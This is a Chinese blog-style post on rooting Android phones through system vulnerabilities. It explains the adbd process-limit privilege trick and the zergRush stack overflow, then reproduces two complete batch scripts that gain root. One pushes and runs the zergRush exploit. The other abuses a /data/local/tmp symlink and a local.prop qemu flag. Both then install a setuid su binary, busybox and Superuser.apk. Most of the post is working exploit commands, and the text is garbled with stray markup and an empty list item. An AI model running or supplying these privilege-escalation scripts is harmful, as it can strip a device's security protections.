Android root 有感

1 Android下面想做事情，会有权限限制。所以经常需要提取Root权限。

2 Android下面获取Root权限的方法并不完全是一样的。这是由于Android的源码漏洞决定了的。提取Root权限就是利用Android系统的漏洞。所以不同的版本的漏洞是不一样的，才导致提取Root的方法是不一样的。

3 Android获取Root的最终步骤是：在System目录下的bin或xbin目录下，放一个有root权限的su文件。在xbin下面放入一个busybox文件；另外装上一个SuperUser.apk，用来管理权限的使用。

4 Android版本的漏洞有下面几个：

<wbr>1 adbd中有个漏洞是创建线程成功时，降底进程的权限。但是创建进程时没有判断进程有没有创建成功。利用Shell进程最大数的限制，不断的Fork（）新的僵尸进程。从而达到进程限制上限。这样就可以让adbd创建不成功，从而跳过降权限的语句。</wbr>

<wbr>2 zergRush exploit :zergRush堆栈溢出.需要一个.zergRush的可执行文件.</wbr>

<wbr>3</wbr>

<wbr>4 Android4.0 提取ROOT.</wbr>

<wbr>重新链接.</wbr>

<wbr></wbr>

<wbr></wbr>

5 提取Root的指令如下:

<wbr>zerRush漏洞:</wbr>

<wbr>@echo ---------------------------------------------------------------<br> @echo<wbr><wbr><wbr><wbr><wbr><wbr><wbr><wbr><wbr><wbr><wbr><wbr><wbr><wbr>Easy rooting toolkit (v1.0)<br> @echo<wbr><wbr><wbr><wbr><wbr><wbr><wbr><wbr><wbr><wbr><wbr><wbr><wbr><wbr><wbr><wbr><wbr><wbr><wbr>created by DooMLoRD<br> @echo<wbr><wbr><wbr><wbr><wbr><wbr><wbr><wbr>using exploit zergRush (Revolutionary Team)<br> @echo<wbr><wbr><wbr>Credits go to all those involved in making this possible!<br> @echo ---------------------------------------------------------------<br> @echo<wbr>[*] This script will:<br> @echo<wbr><wbr><wbr><wbr><wbr>(1) root ur device using zergRush exploit<br> @echo<wbr><wbr><wbr><wbr><wbr>(2) install Busybox (1.18.4)<br> @echo<wbr><wbr><wbr><wbr><wbr>(3) install SU files (3.0.5)<br> @echo<wbr>[*] Before u begin:<wbr><wbr><br> @echo<wbr><wbr><wbr><wbr><wbr>(1) make sure u have installed adb drivers for ur device<br> @echo<wbr><wbr><wbr><wbr><wbr>(2) enable "USB DEBUGGING"<br> @echo<wbr><wbr><wbr><wbr><wbr><wbr><wbr><wbr><wbr><wbr><wbr>from (Menu\Settings\Applications\Development)<br> @echo<wbr><wbr><wbr><wbr><wbr>(3) enable "UNKNOWN SOURCES"<br> @echo<wbr><wbr><wbr><wbr><wbr><wbr><wbr><wbr><wbr><wbr><wbr>from (Menu\Settings\Applications)<br> @echo<wbr><wbr><wbr><wbr><wbr>(4) [OPTIONAL] increase screen timeout to 10 minutes<br> @echo<wbr><wbr><wbr><wbr><wbr>(5) connect USB cable to PHONE and then connect to PC<br> @echo<wbr><wbr><wbr><wbr><wbr>(6) skip "PC Companion Software" prompt on device<br> @echo ---------------------------------------------------------------<br> @echo<wbr>CONFIRM ALL THE ABOVE THEN<br> @pause<br> @echo --- STARTING ----<br> @echo --- WAITING FOR DEVICE<br> @files\adb wait-for-device<br> @echo --- cleaning<br> @files\adb shell "cd /data/local/tmp/; rm *"<br> @echo --- pushing zergRush"<br> @files\adb push files\zergRush /data/local/tmp/.<br> @echo --- correcting permissions<br> @files\adb shell "chmod 777 /data/local/tmp/zergRush"<br> @echo --- executing zergRush<br> @files\adb shell "./data/local/tmp/zergRush"<br> @echo --- WAITING FOR DEVICE TO RECONNECT<br> @echo if it gets stuck over here for a long time then try:<br> @echo<wbr><wbr><wbr>disconnect usb cable and reconnect it<br> @echo<wbr><wbr><wbr>toggle "USB DEBUGGING" (first disable it then enable it)<br> @echo --- DEVICE FOUND<br> @files\adb wait-for-device<br> @echo --- pushing busybox<br> @files\adb push files\busybox /data/local/tmp/.<br> @echo --- correcting permissions<br> @files\adb shell "chmod 755 /data/local/tmp/busybox"<br> @echo --- remounting /system<br> @files\adb shell "/data/local/tmp/busybox mount -o remount,rw /system"<br> @echo --- copying busybox to /system/xbin/<br> @files\adb shell "dd if=/data/local/tmp/busybox of=/system/xbin/busybox"<br> @echo --- correcting ownership<br> @files\adb shell "chown root.shell /system/xbin/busybox"<br> @echo --- correcting permissions<br> @files\adb shell "chmod 04755 /system/xbin/busybox"<br> @echo --- installing busybox<br> @files\adb shell "/system/xbin/busybox --install -s /system/xbin"<br> @files\adb shell "rm -r /data/local/tmp/busybox"<br> @echo --- pushing SU binary<br> @files\adb push files\su /system/bin/su<br> @echo --- correcting ownership<br> @files\adb shell "chown root.shell /system/bin/su"<br> @echo --- correcting permissions<br> @files\adb shell "chmod 06755 /system/bin/su"<br> @echo --- correcting symlinks<br> @files\adb shell "rm /system/xbin/su"<br> @files\adb shell "ln -s /system/bin/su /system/xbin/su"<br> @echo --- pushing Superuser app<br> @files\adb push files\Superuser.apk /system/app/.<br> @echo --- cleaning<br> @files\adb shell "cd /data/local/tmp/; rm *"<br> @echo --- rebooting<br> @files\adb reboot<br> @echo ALL DONE!!!<br> @pause</wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr></wbr>

<wbr></wbr>

Android4.0下:

echo off

cls
echo.
echo by zopo008 (欢迎访问bbs.zopomobile.com.)
echo.
echo.
adb shell mv /data/local/tmp /data/local/tmp.bak
adb shell ln -s /data /data/local/tmp
adb reboot
echo Rebooting (1/3) - Continue once device finishes rebooting
echo 正在重启手机（第1次，共3次）- 请等待重启完毕，之后按任意键继续
pause

adb shell rm /data/local.prop > nul
adb shell "echo \"ro.kernel.qemu=1\" > /data/local.prop"
adb reboot
echo Rebooting (2/3) - Continue once device finishes rebooting
echo 正在重启平板（第2次，共3次）- 请等待重启完毕，之后按任意键继续
pause

adb shell id
echo If the id is 0 / root then continue, otherwise ctrl+c to cancel and start over
echo 如果上面显示的id为0或者root，按任意键继续；否则按Ctrl-C并回复Y来取消本次root尝试，然后重试
pause

adb remount
adb push su /system/bin/su
adb shell chown 0.0 /system/bin/su
adb shell chmod 06755 /system/bin/su
adb push busybox /system/bin/busybox
adb shell chown 0.0 /system/bin/busybox
adb shell chmod 0755 /system/bin/busybox
adb push Superuser.apk /system/app/Superuser.apk
adb shell chown 0.0 /system/app/Superuser.apk
adb shell chmod 0644 /system/app/Superuser.apk
adb push RootExplorer.apk /system/app/RootExplorer.apk
adb shell chown 0.0 /system/app/RootExplorer.apk
adb shell chmod 0644 /system/app/RootExplorer.apk
echo Removing changes except ROOT
echo 正在进行清理和恢复
adb shell rm /data/local.prop
adb shell rm /data/local/tmp
adb shell mv /data/local/tmp.bak /data/local/tmp
adb reboot

echo Rebooting (3/3) - You should now be Rooted
echo 正在重启平板（第3次，共3次） - root成功
pause

echo on